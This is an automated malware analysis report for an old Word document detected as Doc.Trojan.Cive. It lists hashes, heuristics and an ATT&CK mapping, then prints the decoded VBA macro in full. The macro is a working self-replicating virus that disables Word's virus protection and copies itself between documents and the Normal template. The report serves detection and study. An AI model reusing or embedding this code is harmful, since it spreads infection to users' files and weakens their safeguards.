Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 012ea55b79e9fa9c…

MALICIOUS

Office (OLE)

29.0 KB Created: 1999-06-20 08:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fa165b347d9c000bb41b0646922f01a3 SHA-1: 9b7d8993291db649d4400693fd9859b849215e0e SHA-256: 012ea55b79e9fa9cc565a097fc39e679799ed741bdd19b7ae2b98fd6ace2ece2
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution in malicious documents. The macro attempts to modify itself and displays a message box with the text 'Free VicodinES!', suggesting a lure or distraction. The ClamAV detections further confirm its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Cive-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cive-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1021 bytes
SHA-256: 4feb5cb3c88fcacac3c56bcd43c068828cc079562bd6c226ef213d0528868739
Detection
ClamAV: Doc.Trojan.Cive-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Set oldho = MacroContainer.VBProject: Options.VirusProtection = False
Set oldhos = oldho.vbcomponents(1): Set oldhost = oldhos.codemodule
Set Skip = NormalTemplate: Set newhost = Skip.VBProject.vbcomponents(1).codemodule
vcode = "Sub Document_Close()" & vbCr & oldhost.lines(2, oldhost.countoflines)
If MacroContainer = NormalTemplate Then
Set Skip = ActiveDocument: Set newhost = Skip.VBProject.vbcomponents(1).codemodule
vcode = "Sub Document_Open()" & vbCr & oldhost.lines(2, oldhost.countoflines)
End If
If newhost.countoflines < 5 Then
newhost.addfromstring vcode
Skip.Save
End If
If Day(Now()) = Int(Rnd * 31) + 1 Then MsgBox "Free VicodinES!", 64, "Class.FreeVic"
End Sub

Rem Another virus by Jack Twoflower LineZerØ/Metaphase